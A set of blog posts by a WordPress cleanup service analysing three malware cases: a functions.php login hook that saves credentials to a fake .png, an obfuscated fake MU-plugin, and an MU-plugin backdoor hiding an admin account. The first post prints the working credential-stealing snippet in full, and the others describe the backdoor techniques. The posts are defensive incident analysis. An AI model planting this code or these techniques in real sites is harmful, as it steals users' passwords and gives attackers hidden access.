Need help cleaning or hardening a hacked WordPress site? See my WordPress malware removal service.

FAQ

Is WordPress secure out of the box?

WordPress provides a solid security foundation, but WordPress itself says security also depends on hosting, maintenance, proper user roles, updates, monitoring, and recovery planning.

What is the biggest WordPress security risk?

In practice, outdated plugins are one of the biggest risks. Patchstack found that 96% of WordPress ecosystem vulnerabilities reported in 2024 were in plugins.

Do I really need a security plugin?

A security plugin can help, but it is not a substitute for updates, backups, strong passwords, 2FA, access control, and proper hardening. Think in layers, not single tools. WordPress’s own security guidance emphasizes layered operational practices rather than one magic fix.

Should I disable XML-RPC?

If you do not need it, protecting or disabling it is a smart move. WordPress’s brute-force guidance says to protect or disable XML-RPC if unused, and otherwise restrict and rate-limit it.

Can a hacked WordPress site hurt SEO?

Yes. Spam pages, redirects, cloaking, and malware can damage rankings and trust. Sucuri reported 422,741 SEO spam detections in its 2024 analysis, including 117,393 Japanese SEO spam detections.

WordPress functions.php Credential Stealer Malware Saving Logins as Fake PNG

MD Pabel — Sat, 25 Apr 2026 00:00:00 +0000

Quick Answer

If you found suspicious code in WordPress functions.php that hooks authenticate and writes login data to a fake image under uploads, treat the site as compromised and credentials as exposed. Remove the injected code by replacing the affected theme with a clean copy, delete the fake credential log file, check uploads and other PHP files for similar injections, and reset all potentially exposed passwords.

What This Threat Pattern Is

This is WordPress credential-stealing malware embedded in a theme file. In the representative functions.php sample, the attacker added a callback to the authenticate filter at high priority. When a login succeeds and both username and password are present, the code appends username:password to a file stored under uploads. The destination filename ends in .png, but the code writes text, not image data. That makes the .png extension a disguise, not a legitimate media file.

What Visitors May See

Usually nothing obvious on the front end.
The WordPress login page may appear to work normally while credentials are stolen silently.
Administrators may later notice unauthorized logins, password resets, new users, or follow-on malware after stolen credentials are used.
If reviewing files manually, you may see a suspicious comment such as 'WordPress session analytics' inside functions.php.

Screenshot-Based Symptoms

The uploaded screenshot shows a theme functions.php file with highlighted PHP code that adds an authenticate filter and writes login data with file_put_contents to a base64-decoded path under wp-content/uploads. The same screenshot also shows the comment marker 'WordPress session analytics' above the injected code. This is not normal theme behavior. It is a credential-stealing login hook placed in a theme file so it runs during WordPress authentication.

Screenshot Findings

File manager view open to a theme functions.php file with highlighted code showing add_filter('authenticate', function($u, $l, $p) { ... file_put_contents(ABSPATH.base64_decode(...)) ... }); and the comment 'WordPress session analytics'. — The screenshot visually confirms a credential-stealing login hook inserted into a theme functions.php file rather than a normal theme feature.

Why This Usually Means the Site Is Compromised

This WordPress infection pattern uses a malicious snippet inside a theme’s functions.php file to steal login credentials. In the representative sample, the code hooks WordPress authentication, captures successful usernames and plaintext passwords, and appends them to a file in wp-content/uploads/2024/06/ disguised with a .png filename. The login flow can still appear normal, so site owners often discover it only during a file review or after accounts are abused.

Likely Root Cause

The original intrusion path is not proven by this sample alone. What is proven is that the theme’s functions.php file was modified with malicious code and that the code is designed to capture plaintext WordPress credentials. Common causes for this kind of modification include stolen admin or hosting credentials, vulnerable plugins or themes, or an existing backdoor that allowed file edits.

Why It Keeps Coming Back

This infection can keep coming back if only the visible line in functions.php is removed while the wider compromise remains. The representative sample shows one execution point inside the active theme, but additional backdoors may exist in other theme files, plugins, uploads, mu-plugins, database options, or unused themes. Stolen credentials also create a reinfection risk: if attacker access is still valid, they can simply reinsert the same code after cleanup.

Files and Directories to Check

The affected theme’s functions.php file and the full theme directory
wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png
The surrounding uploads directory, especially wp-content/uploads/2024/06/
Other installed themes, including inactive ones, for similar authenticate hooks
Plugin PHP files for file_put_contents, base64_decode, or credential logging patterns
Must-use plugins in wp-content/mu-plugins/
wp-config.php and other core-adjacent writable files if broader compromise is suspected

Removal Targets Inferred From The Samples

theme_file: functions.php — Observed malicious authenticate hook appended to the theme functions file captures usernames and plaintext passwords.
file: wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png — Decoded destination for stolen credential logging; likely contains captured usernames and passwords despite the .png extension.
theme_component: the affected theme directory containing the infected functions.php — Representative sample indicates the theme component is compromised; review and replace the entire theme from a clean original copy rather than editing only one line.
directory: wp-content/uploads/2024/06/ — The credential log is stored here and similar disguised payloads or logs may exist nearby in the same uploads subdirectory.

Technical Analysis

The representative infected functions.php sample contains a short but clearly malicious credential theft routine. It registers an anonymous callback on the WordPress authenticate filter with priority 999. Inside that callback, it checks that the authentication result is not a WP_Error and that both login and password variables are present. It then calls file_put_contents with FILE_APPEND to write the captured username and plaintext password in username:password format followed by a newline. The output path is built from ABSPATH plus a base64-decoded string. That string decodes to wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png. The use of @file_put_contents suppresses warnings, which reduces visible errors if the write fails. The .png extension is part of the disguise: the code writes text credentials, not image bytes. Because the code returns the original authentication result, the login proceeds normally and the theft is less likely to be noticed. Based on the sample alone, root cause remains unknown, but the behavior and persistence mechanism are clear and high confidence.

Attack Chain

Attacker gains the ability to modify a theme file.
Malicious code is inserted into the theme’s functions.php file.
A user logs in through WordPress.
WordPress runs the authenticate filter during the login process.
The injected callback captures the username and plaintext password after a successful authentication result.
The stolen credentials are appended to a fake .png file under wp-content/uploads/2024/06/.
The login continues normally, reducing visible symptoms.
Captured credentials can then be used for follow-on access, reinfection, or privilege abuse.

Evidence Notes

Representative infected file provided as functions.php.txt and explicitly interpreted as functions.php.
Observed code registers add_filter('authenticate', function($u, $l, $p) { ... }, 999, 3).
Observed code writes login data using file_put_contents with FILE_APPEND.
Observed output format is username:password followed by a newline.
Observed path is obfuscated with base64_decode and resolves to wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png.
Observed error suppression uses the @ operator on file_put_contents.
Screenshot confirms the code is inside a theme functions.php file.
Screenshot shows the marker comment 'WordPress session analytics'.
Sample SHA-256: 1370591525bf87bfff6b8f689e0d461e3e62cb3366cab1e71b50edfcac222d6a.

Representative Malware Samples

FILE: `functions.php`

Why it matters: Malicious login hook that captures successful WordPress usernames and plaintext passwords and appends them to a disguised file in uploads.

add_filter('authenticate', function($u, $l, $p) {
  if (!is_wp_error($u) && !empty($l) && !empty($p)) {
    @file_put_contents(ABSPATH . base64_decode('d3AtY29udGVudC91cGxvYWRzLzIwMjQvMDYvU3RhaW5lZF9IZWFydF9SZWQtNjAweDUwMC5wbmc='), $l . ':' . $p . PHP_EOL, FILE_APPEND);
  }
  return $u;
}, 999, 3);

Indicators of Compromise (Public-Safe)

1370591525bf87bfff6b8f689e0d461e3e62cb3366cab1e71b50edfcac222d6a
authenticate
wp-content/uploads/2024/06/Stained_Heart_Red-600x500[.]png
WordPress session analytics

Removal Strategy

Do not treat this as a harmless code oddity. The sample is a working credential stealer. Response should focus on containment, removal, and credential rotation, not just deleting one snippet.

Manual Removal Protocol

Put the site in maintenance mode or otherwise limit administrator logins until containment is complete.
Make a forensic backup first if you may need to investigate scope later.
Replace the compromised theme with a known-clean copy from a trusted source instead of editing only the visible snippet out of functions.php.
Delete the fake credential log file at wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png after preserving a copy for investigation if needed.
Inspect the surrounding uploads folder for similar disguised files, especially image-named files that contain text or PHP.
Search the site codebase for the comment marker 'WordPress session analytics', for add_filter('authenticate', and for combinations such as file_put_contents plus base64_decode.
Review all installed themes and plugins, including inactive ones, for similar injections or backdoors.
Check WordPress users for unauthorized administrator accounts or suspicious password-reset activity.
Reset all potentially exposed credentials: WordPress users, hosting panel, SFTP/FTP, SSH, database, and any related admin accounts.
Invalidate active sessions where possible and rotate salts if your incident process calls for it.
Update WordPress core, themes, and plugins after cleanup, but do not use updating alone as a substitute for file integrity review.
Review server and access logs, if available, to see whether the fake .png file was requested over the web or whether attacker logins occurred after credential capture.

Hardening Checklist

Disable or tightly restrict direct file editing from the WordPress admin if your workflow allows it.
Use strong unique passwords for all WordPress and hosting accounts and enforce MFA where possible.
Remove unused themes and plugins so there are fewer writable places to hide code.
Limit write permissions and review whether uploads directories are overly exposed.
Use file integrity monitoring for theme and plugin directories.
Audit administrator accounts regularly and remove stale users.
Keep WordPress, themes, plugins, and server software patched.
Review logs for repeated access to unusual files inside uploads, especially media-named files returning text content.

FAQ

Is this really malware if the site still works normally?

Yes. The representative code is designed to steal successful WordPress login credentials without breaking the login flow. A site can appear normal while accounts are being harvested.

Why save credentials in a .png file?

To hide the data in a location and filename that looks like a normal uploaded image. In the sample, the file extension does not match the actual content being written.

Does this mean all passwords entered on the site were stolen?

The code captures usernames and passwords when the authenticate hook receives a successful result and non-empty values. You should assume any WordPress credentials entered while the code was active may be exposed.

Can I just delete the suspicious lines from functions.php?

That may stop this exact execution point, but it is not a complete cleanup strategy. Replace the whole affected theme with a known-clean copy and check for additional backdoors, fake files in uploads, and compromised credentials.

What should I search for on the server?

Start with the affected theme’s functions.php, the decoded path wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png, the comment marker 'WordPress session analytics', authenticate-hook injections, and suspicious use of file_put_contents, base64_decode, and FILE_APPEND in theme or plugin PHP files.

Could the fake .png file be publicly accessible?

Possibly. The sample stores credentials under uploads, which is often web-accessible. This evidence does not prove accessibility on every site, so you should verify by checking server configuration and logs.

What passwords need to be reset after this infection?

At minimum, reset all WordPress user passwords that may have been used during the exposure window. In a real incident, also reset hosting, SFTP/FTP, SSH, database, and any related administrator credentials because the original entry point may be broader than the visible snippet.

Proof statement: Based on representative malware samples and screenshots collected during real WordPress cleanup work by MD Pabel, this pattern is a high-confidence WordPress credential stealer: the provided functions.php sample hooks authentication, captures successful usernames and plaintext passwords, and appends them to a disguised file under uploads.

Confidence: Root cause low, persistence high, screenshot read high, IOCs high.

WordPress Suspicious MU-Plugin Malware: menu-queue-bit.php and “Compact Extension Vox”

MD Pabel — Fri, 24 Apr 2026 00:00:00 +0000

Quick Answer

If you found menu-queue-bit.php or a fake plugin name like “Compact Extension Vox” inside wp-content/mu-plugins, treat it as malicious unless you can positively verify it came from a trusted developer. MU-plugins load automatically, so this is a high-risk persistence location. Removing only the visible file may not be enough if the rest of the site was also modified.

What This Threat Pattern Is

This is a WordPress backdoor pattern that abuses the must-use plugins directory for persistence. Files in wp-content/mu-plugins do not need normal activation from the WordPress dashboard. They are loaded automatically by WordPress, which makes this directory attractive to attackers who want their code to keep running even if regular plugins are disabled. In this sample, the fake plugin header, suspicious filename, and heavy obfuscation strongly support the conclusion that the file is not a legitimate helper plugin but a concealed malware component.

What Visitors May See

No obvious front-end symptom at first, because MU-plugin backdoors often work quietly in the background.
Spam redirects, injected pages, or unauthorized admin activity if the hidden payload is used to deliver secondary malware.
Security warnings, hosting alerts, or recurring reinfection after a partial cleanup.
Site owners may notice strange plugin-like file names in hosting file manager even though they never installed such a plugin.

Screenshot-Based Symptoms

The uploaded screenshots do not show a fake CAPTCHA or visible redirect page on the frontend. Instead, they show the underlying infection in the hosting file manager and code editor. One screenshot shows menu-queue-bit.php sitting inside public_html/wp-content/mu-plugins next to normal host-provided helper files. The other shows the file claiming to be a plugin named “Compact Extension Vox” and then immediately loading into a very long block of obfuscated hex-escaped strings. For site owners, this usually matches the symptom “I found a weird file in wp-content/mu-plugins” or “there is a plugin name I never installed.”

Screenshot Findings

Hosting file manager open to public_html > wp-content > mu-plugins showing menu-queue-bit.php alongside hostinger-auto-updates.php and hostinger-preview-domain.php. — This screenshot shows the malicious file placed in the WordPress must-use plugins directory, a persistence location that auto-loads code on every request.
Code editor displaying menu-queue-bit.php with Plugin Name: Compact Extension Vox followed by a very long block of obfuscated hex-escaped strings. — The screenshot shows a fake plugin header and immediately afterward a large obfuscated payload, which is consistent with a disguised malware loader or backdoor rather than a legitimate plugin.

Why This Usually Means the Site Is Compromised

This WordPress infection pattern centers on a suspicious PHP file placed in wp-content/mu-plugins, where WordPress auto-loads code on every request. In the representative sample here, the file is named menu-queue-bit.php and presents itself as a plugin called “Compact Extension Vox,” but the code immediately switches into a large obfuscated payload instead of normal plugin logic. That combination is strong evidence of a persistent backdoor or malware loader.

Likely Root Cause

The exact entry point is not proven by this sample alone. The initial compromise could have come from a vulnerable plugin, stolen admin or hosting credentials, a compromised theme, or another pre-existing backdoor. What is clear from the evidence is that the attacker placed a malicious PHP file in an auto-loaded WordPress location to maintain execution.

Why It Keeps Coming Back

This kind of infection often returns because the visible MU-plugin file is only one part of a larger compromise. Attackers commonly leave secondary loaders in plugins, themes, uploads, wp-config.php, or database options. If one hidden component remains, it can recreate the deleted MU-plugin file. The persistence advantage here is especially important: code in wp-content/mu-plugins runs automatically, so it can restore other malware, reinfect cleaned files, or wait silently for commands.

Files and Directories to Check

wp-content/mu-plugins/menu-queue-bit.php
wp-content/mu-plugins/
wp-content/plugins/
wp-content/themes/active-theme/functions.php
wp-content/uploads/ for unexpected .php files
wp-config.php
.htaccess
Database autoloaded options and suspicious admin users

Removal Targets Inferred From The Samples

file: wp-content/mu-plugins/menu-queue-bit.php — Observed malicious obfuscated must-use plugin sample with fake plugin header and persistence behavior.
directory: wp-content/mu-plugins — Inspect the entire must-use plugins directory for unauthorized additions or modified loaders; representative samples often indicate broader compromise in the same persistence location.

Technical Analysis

The strongest evidence in this case is structural. The file menu-queue-bit.php begins with a WordPress-style plugin header declaring “Plugin Name: Compact Extension Vox,” then immediately defines a very large global array filled with hex-escaped strings. That is not how a normal lightweight helper plugin is written. Obfuscated string tables like this are commonly used to hide function names, payload logic, decoding routines, and remote communication details from casual review and signature-based scanning. The file also contains the standard ABSPATH check, which shows it is meant to run inside WordPress. Its placement in wp-content/mu-plugins is especially significant because WordPress automatically loads code from that directory on every request without the normal plugin activation workflow. That makes it an effective persistence point for a backdoor or loader. The sample is also large for a supposedly simple plugin stub, which supports the conclusion that substantial hidden logic is embedded. Based on the representative code and screenshots, this file should be treated as malicious even though the full decoded behavior is not exposed in the short preview. It is reasonable to state strong persistence behavior here; it is not yet honest to claim a specific live payload outcome such as redirects or admin creation unless those are separately confirmed on the infected site.

Attack Chain

Initial compromise occurs through an unknown entry point such as vulnerable software or stolen credentials.
Attacker places a disguised PHP file in wp-content/mu-plugins.
WordPress auto-loads the file on every request because it is in the must-use plugin directory.
Obfuscated code hides the real logic and makes manual review harder.
The loader or backdoor can then execute hidden actions directly or pull in secondary malicious behavior from elsewhere on the site.

Evidence Notes

Representative malicious sample filename: menu-queue-bit.php.
Representative fake plugin name from the file header: Compact Extension Vox.
Observed path in screenshot: wp-content/mu-plugins/menu-queue-bit.php.
The file is heavily obfuscated with a large global array of hex-escaped strings.
Representative sample SHA-256: 632676c2031b7446fc5d985e8cd183aa835d627212a300d696461fe396b7ca16.
The screenshots show the file in the MU-plugins directory alongside normal hosting helper files, making the suspicious file stand out.
The evidence supports high confidence in malicious persistence through the MU-plugin autoload path, but not a proven initial intrusion vector from this sample alone.

Representative Malware Samples

FILE: `menu-queue-bit.php`

Why it matters: The file pretends to be a normal plugin but immediately switches to a large obfuscated global string table, which is typical of concealed malware loaders.

<?php
/**
 * Plugin Name: Compact Extension Vox
 */
if(!defined('ABSPATH')){exit;}
$GLOBALS['_ofdyhs']=array("[large hex-escaped obfuscated string table omitted]");

Indicators of Compromise (Public-Safe)

632676c2031b7446fc5d985e8cd183aa835d627212a300d696461fe396b7ca16
menu-queue-bit[.]php
Compact Extension Vox
wp-content/mu-plugins/menu-queue-bit[.]php
example[.]com

Removal Strategy

Remove the confirmed malicious MU-plugin file, but do not stop there. Because this sample is described as representative of a larger real-world cleanup, assume there may be additional persistence elsewhere until a full file and database review is completed.

Manual Removal Protocol

Take the site offline or place it in maintenance mode if the infection is active and you need to prevent further abuse.
Create a full backup of files and database for forensic reference before making changes.
Delete or quarantine wp-content/mu-plugins/menu-queue-bit.php after confirming it is not part of any legitimate deployment.
Inspect the entire wp-content/mu-plugins directory for any other unauthorized PHP files or recently modified loaders.
Compare core WordPress files, plugins, and themes against known-good copies and replace altered files with clean originals from trusted sources.
Check the active theme, especially functions.php and other commonly abused theme files, for obfuscated code, hidden includes, or suspicious remote fetch logic.
Search wp-content/uploads for PHP files or other executable files that do not belong there.
Review wp-config.php and .htaccess for injected code, hidden includes, conditional redirects, or attacker-added access rules.
Audit WordPress users and remove any unauthorized administrator accounts.
Review scheduled tasks, cron behavior, database options, and autoloaded entries for malware-related persistence.
Rotate all WordPress, hosting, database, SFTP, and control panel passwords after cleanup.
Reinstall or restore from a known-clean backup only if you are confident the backup predates the compromise and does not contain the same persistence.

Hardening Checklist

Keep WordPress core, plugins, and themes fully updated.
Remove unused plugins and themes rather than leaving them installed.
Restrict write access where practical and monitor sensitive paths like wp-content/mu-plugins, wp-config.php, and active theme files.
Use strong unique passwords and enable multi-factor authentication for admin and hosting access.
Disable PHP execution in uploads if your setup allows it.
Add file integrity monitoring so new MU-plugin files or unexpected changes are detected quickly.
Review administrator accounts regularly and remove stale access.
Use a web application firewall and server-side malware monitoring if available from your host or security stack.

FAQ

Is menu-queue-bit.php in wp-content/mu-plugins definitely malicious?

Based on the representative sample, it should be treated as malicious. The filename is suspicious, the claimed plugin name “Compact Extension Vox” appears fabricated, and the file content is dominated by obfuscation rather than readable plugin logic. Combined with placement in the MU-plugins autoload directory, that is strong evidence of a backdoor or loader.

What is an MU-plugin in WordPress?

MU-plugin means must-use plugin. WordPress automatically loads PHP files in wp-content/mu-plugins on every request. Legitimate site owners sometimes use this folder for custom site-specific code, but attackers also abuse it because their code keeps running without normal activation.

Why is this more serious than a suspicious regular plugin?

A normal plugin usually appears in the plugins screen and follows standard activation workflows. A malicious MU-plugin can run automatically in the background and may be overlooked during a basic cleanup. That makes it a strong persistence point.

Can I just delete menu-queue-bit.php and move on?

You should remove the file, but you should not assume that is the full cleanup. Representative samples like this often come from larger infections. If another hidden loader remains elsewhere, it may recreate the file or continue malicious activity through another path.

I found this file but my site looks normal. Is that possible?

Yes. Many backdoors do not show obvious front-end symptoms all the time. They may wait for specific requests, administrator visits, attacker commands, or secondary payloads. A quiet site is not proof that the file is harmless.

Could this be a legitimate developer file with an odd name?

In theory, any custom MU-plugin should be verified before deletion. In practice, a fake plugin header followed by a massive obfuscated string table is not normal for a legitimate helper plugin. If your developer cannot clearly explain and verify the file, treat it as compromised.

Where else should I look if this keeps coming back?

Check other MU-plugins, regular plugins, the active theme, wp-config.php, uploads for PHP files, .htaccess, unauthorized admin accounts, scheduled tasks, and suspicious database options. Reinfection usually means another persistence point still exists.

Proof statement: Based on representative malware samples and screenshots collected during real WordPress cleanup work by MD Pabel, this page documents a persistent WordPress backdoor pattern in which a fake plugin-style PHP file is placed in wp-content/mu-plugins and hidden behind heavy obfuscation.

Confidence: Root cause low, persistence high, screenshot read high, IOCs medium.

WordPress MU-Plugin Backdoor Hiding an Admin User

MD Pabel — Thu, 23 Apr 2026 00:00:00 +0000

Quick Answer

If you found suspicious files in wp-content/mu-plugins such as loader-optimization.php or wp-user-query.php, and your Users screen has inconsistent counts or seems to be missing an admin account, treat it as a critical backdoor and persistence infection. Remove the malicious MU-plugin set from a clean known-good source, check the database option _pre_user_id, and audit all administrator accounts directly in the database because wp-admin may be lying to you.

What This Threat Pattern Is

This is a multi-part WordPress backdoor and concealment pattern placed in the must-use plugins directory, wp-content/mu-plugins. MU plugins load automatically and do not require normal plugin activation, which makes them attractive for attackers who want code to keep running even if themes are changed or standard plugins are disabled. In the representative samples, one component acts as a gated remote code execution backdoor, while another interferes with WordPress user queries to hide a chosen account from the administrator interface.

What Visitors May See

No obvious frontend defacement at all, because this pattern is mainly built for persistence and hidden access.
Administrators may notice user count mismatches in wp-admin, such as totals that do not add up correctly across user views.
An attacker-controlled administrator may exist in the database but not appear in the normal Users screen.
Suspicious PHP files may appear in wp-content/mu-plugins with bland names such as loader-optimization.php, wp-user-query.php, health-check.php, or a referenced session-manager.php.

Screenshot-Based Symptoms

The screenshots show a WordPress dashboard with a file manager open inside wp-content/mu-plugins and code loaded from two suspicious files. One screenshot shows wp-user-query.php using WordPress user-query hooks and an option named _pre_user_id to exclude a selected user from admin listings. Another shows loader-optimization.php checking a special request parameter named _wph and containing logic that can write POSTed PHP to a temporary file and execute it, then return JSON output. A separate Users screen screenshot shows mismatched counts like “All (4)” and “2FA Inactive (5),” which is a visible admin-side symptom of user-list tampering. The directory listing also shows multiple MU-plugin files together, which supports a multi-part persistence setup rather than a one-off stray file.

Screenshot Findings

WordPress file manager editing wp-user-query.php in wp-content/mu-plugins. The code header says 'WP User Query Filter v3' and shows hooks pre_get_users, pre_user_query, and views_users using option _pre_user_id to exclude a user from admin listings. — This screenshot shows a mu-plugin specifically modifying WordPress user queries so one selected account is hidden from the Users screen and related counts.
WordPress file manager listing wp-content/mu-plugins with files health-check.php, loader-optimization.php, and wp-user-query.php. — This screenshot identifies the persistence location and the suspicious filenames present in the must-use plugins directory.
WordPress file manager editing loader-optimization.php. The code header says 'MU Plugin Loader Optimizer', checks GET parameter _wph against a secret token, can write POSTed PHP to a temporary file and execute it, returns JSON, and references wp-content/mu-plugins/session-manager.php. — This screenshot shows a gated remote code execution backdoor embedded as an MU plugin and hints at an additional related component named session-manager.php.
WordPress Users screen with red arrows pointing to user counts, including 'All (4)' and '2FA Inactive (5)', indicating inconsistent totals. — This screenshot shows the visible admin-side symptom of user-query tampering: inconsistent counts that can happen when a malicious plugin filters or hides accounts from the user list.

Why This Usually Means the Site Is Compromised

This WordPress infection pattern uses the must-use plugins directory to stay loaded on every request, while also hiding at least one user account from normal admin review. In the representative samples here, one MU plugin accepts a special request parameter and can execute attacker-supplied PHP, and another MU plugin alters WordPress user queries so a selected account is removed from the Users screen and related counts.

Likely Root Cause

The initial entry point is not proven by the screenshots alone. A prior stolen admin credential, vulnerable plugin, reused dashboard access, or some other file-write path could have been used to place the MU-plugin files. The screenshots do show the WP File Manager plugin in the environment, which means dashboard-based file editing was available, but that alone does not prove it was the original intrusion path.

Why It Keeps Coming Back

This pattern survives because MU plugins autoload on every request and do not depend on standard activation status. It can also preserve attacker access by hiding a privileged account from normal admin review. If only one file is deleted, another related file, hidden user, or database setting may restore access. The observed code also references an additional mu-plugin component, session-manager.php, suggesting the visible samples may be only part of a larger persistence set.

Files and Directories to Check

wp-content/mu-plugins/
wp-content/mu-plugins/loader-optimization.php
wp-content/mu-plugins/wp-user-query.php
wp-content/mu-plugins/health-check.php
wp-content/mu-plugins/session-manager.php
wp-admin/users.php behavior versus direct database results
wp_options entry for _pre_user_id
wp_users and wp_usermeta for unauthorized administrator accounts
wp-config.php
active theme functions.php
other writable locations such as uploads or temporary PHP drop locations

Removal Targets Inferred From The Samples

directory: wp-content/mu-plugins/ — The screenshots show multiple suspicious mu-plugin files acting together as an auto-loaded persistence set. In a representative-sample case, remove and rebuild the malicious mu-plugin component rather than deleting only one file.
file: wp-content/mu-plugins/loader-optimization.php — Observed password-gated backdoor enabling execution of attacker-supplied PHP.
file: wp-content/mu-plugins/wp-user-query.php — Observed code hides a selected user from wp-admin user listings and tampers with counts.
file: wp-content/mu-plugins/session-manager.php — Referenced by the backdoor as a related mu-plugin component and should be checked for existence and removed if present.
database option: _pre_user_id — Observed in code as the persisted value controlling which user account is hidden.
wordpress user: Any unauthorized administrator or suspicious privileged account linked to the hidden user ID — The malware appears designed to conceal at least one account from normal admin review.
plugin: WP File Manager plugin access path — Visible file-manager access inside wp-admin should be reviewed, disabled, or removed if not strictly required because it provides easy post-compromise file modification.

Technical Analysis

The representative code fragments support two distinct malicious behaviors. First, the file shown as wp-user-query.php is labeled like a harmless filter but uses core WordPress hooks including pre_get_users, pre_user_query, and views_users. The visible logic reads a stored option named _pre_user_id and excludes that user from user queries and list views. That means the malware is not just creating an account; it is actively manipulating the admin interface so a chosen account is less likely to be noticed. The Users screen screenshot showing inconsistent counts is consistent with this kind of tampering. Second, the file shown as loader-optimization.php behaves like a gated backdoor. The visible code checks for a special GET parameter named _wph and compares it against a hardcoded token value. When the expected request is supplied, the code can accept POSTed PHP, write it to a temporary file, execute it, and return JSON output. It also attempts to load WordPress through wp-load.php and references the global $wpdb object, which shows the backdoor is designed to operate inside the WordPress runtime rather than as a simple standalone shell. The same file references wp-content/mu-plugins/session-manager.php, which strongly suggests another related persistence component may exist or may have existed elsewhere in the larger infected site. Together, these observed behaviors support a high-confidence finding of MU-plugin-based persistence plus concealed administrator access. The exact original intrusion path remains unproven from screenshots alone, but the persistence and malicious purpose of the shown code are clear from the visible functions and hooks.

Attack Chain

Attacker gains some prior write access to the WordPress site or dashboard.
Malicious PHP is placed in wp-content/mu-plugins so it auto-loads on every request.
A user-hiding MU plugin stores or reads a target user ID from the _pre_user_id option.
WordPress admin user queries are filtered so the chosen account is omitted from user lists and counts.
A separate MU plugin waits for a specially crafted request using the _wph parameter.
If the gate matches, the backdoor accepts attacker-supplied PHP, executes it, and returns output, enabling continued remote access.
Additional related MU-plugin components such as session-manager.php may extend or restore persistence.

Evidence Notes

Observed directory listing shows suspicious files under wp-content/mu-plugins: health-check.php, loader-optimization.php, and wp-user-query.php.
Observed code header in wp-user-query.php reads like a benign utility but uses pre_get_users, pre_user_query, and views_users to manipulate admin-side user visibility.
Observed code reads the option _pre_user_id, indicating database-persisted selection of the hidden account.
Observed code in loader-optimization.php checks a request parameter named _wph and only runs protected logic when the token matches.
Observed backdoor behavior includes writing POSTed PHP to a temporary file for execution and returning JSON output.
Observed reference to wp-content/mu-plugins/session-manager.php indicates a likely related component beyond the visible samples.
Observed Users screen shows count mismatch, which is consistent with user-list tampering rather than a normal admin state.
Because the evidence is based on screenshots and representative samples, the full infection set may be larger than what is shown.

Representative Malware Samples

FILE: `wp-content/mu-plugins/wp-user-query.php`

Why it matters: This mu-plugin hooks WordPress user query filters and excludes one stored user ID from admin listings and counts, concealing a likely attacker-controlled account.

/* WP User Query Filter v3 */
add_action('pre_get_users', function($query){
  $id = get_option('_pre_user_id');
  if (!$id) return;
  $exclude = $query->get('exclude');
  // add stored user ID to exclusions
  $query->set('exclude', $exclude);
});
add_action('pre_user_query', function($q){
  $id = get_option('_pre_user_id');
  if (!$id) return;
  // append SQL condition so selected user is omitted
});

FILE: `wp-content/mu-plugins/loader-optimization.php`

Why it matters: This file behaves like a gated backdoor. It checks for a special request parameter, then can write attacker-supplied PHP to a temporary file, execute it, and return JSON output.

/** MU Plugin Loader Optimizer */
if (!defined('ABSPATH') && !isset($_GET['_wph'])) { return; }
if (isset($_GET['_wph']) && $_GET['_wph'] === '[redacted-token]') {
  header('Content-Type: application/json');
  $m = isset($_GET['m']) ? $_GET['m'] : '';
  if ($m === 'p' && isset($_POST['c'])) {
    // write supplied PHP to temp file and execute it
    echo json_encode(['ok' => true]);
    exit;
  }
  // additional WordPress/database-aware logic follows
}

Indicators of Compromise (Public-Safe)

wp-content/mu-plugins/loader-optimization[.]php
wp-content/mu-plugins/wp-user-query[.]php
wp-content/mu-plugins/health-check[.]php
wp-content/mu-plugins/session-manager[.]php
_wph
_pre_user_id

Removal Strategy

Do not treat this like a simple plugin cleanup. The evidence supports a persistent WordPress backdoor with hidden-account concealment. The safe approach is to remove the malicious MU-plugin set, validate WordPress users directly in the database, and then review the rest of the site for other loaders or reinfection points.

Manual Removal Protocol

Take a full filesystem and database backup before changes so you can preserve evidence and recover if needed.
Put the site in maintenance mode if possible and block further admin access from unknown sessions.
Inspect wp-content/mu-plugins/ and compare every file there against a known-good baseline. In a representative-sample case like this, do not assume only one shown file is malicious.
Remove malicious files such as representative samples loader-optimization.php and wp-user-query.php, and check whether health-check.php or session-manager.php are legitimate or part of the same set.
Rebuild the entire wp-content/mu-plugins directory from a known-good source if the site should not have custom MU plugins, rather than selectively trusting suspicious leftovers.
Search the database for the option _pre_user_id and identify which user ID it points to. Remove the option if it is only being used by the malware.
Audit users directly in the database, not just in wp-admin. Check wp_users and wp_usermeta for unauthorized administrator-level accounts, including accounts missing from the Users screen.
Reset passwords for all administrators, hosting control panel users, SFTP/SSH users, and database users as appropriate.
Review active sessions, application passwords, API keys, and any persistent login mechanisms and revoke anything suspicious.
Scan other common persistence locations including wp-config.php, active and inactive themes, plugins, uploads, cron tasks, and autoloaded options.
Remove or disable dashboard file-editing paths you do not absolutely need, including file-manager style plugins, until the cleanup is complete.
Update WordPress core, themes, and plugins only after the malicious persistence is removed, so you do not leave a working backdoor behind on an otherwise updated site.
Review logs if available for requests involving the special parameter _wph or suspicious POST activity to MU-plugin files and related paths.

Hardening Checklist

Keep wp-content/mu-plugins under change control and investigate any unexpected file there immediately.
Disable or remove file manager plugins unless there is a strong operational need for them.
Limit administrator accounts and review them regularly from both wp-admin and direct database queries during incident response.
Use strong unique passwords and enable MFA where possible for WordPress, hosting, and email accounts.
Restrict PHP execution in writable directories where possible and monitor for new PHP files.
Use file integrity monitoring for wp-content/mu-plugins, wp-config.php, themes, and plugins.
Review autoloaded WordPress options for suspicious names or unexpected serialized payloads.
Maintain off-site backups and a clean known-good deployment path so compromised files can be replaced quickly.
Harden dashboard access with least privilege, IP controls where appropriate, and removal of unused plugins and themes.

FAQ

What is an MU plugin in WordPress, and why do attackers use it?

MU stands for must-use. Files in wp-content/mu-plugins load automatically on every request and do not need normal activation in the Plugins screen. That makes them useful for attackers who want persistent code that survives routine admin actions.

Why would a hidden admin user not appear in the Users screen?

Because code can hook WordPress user-query functions and deliberately exclude a chosen user ID from listings and counts. In the representative sample, the option _pre_user_id is used to identify which account should be hidden.

Are inconsistent user counts a reliable malware sign?

Not by themselves. Some plugins can affect counts. But when inconsistent counts appear alongside MU-plugin files that alter pre_get_users, pre_user_query, and views_users, the combination is strong evidence of malicious tampering.

If I delete only loader-optimization.php, is that enough?

Usually no. The evidence suggests a multi-part infection. You should review the full mu-plugins directory, related database options like _pre_user_id, and all administrator accounts directly in the database.

Is wp-user-query.php always malicious?

No filename is inherently malicious. The concern here comes from the observed code behavior: it hides a selected user from admin listings and manipulates counts. That behavior is not normal site maintenance.

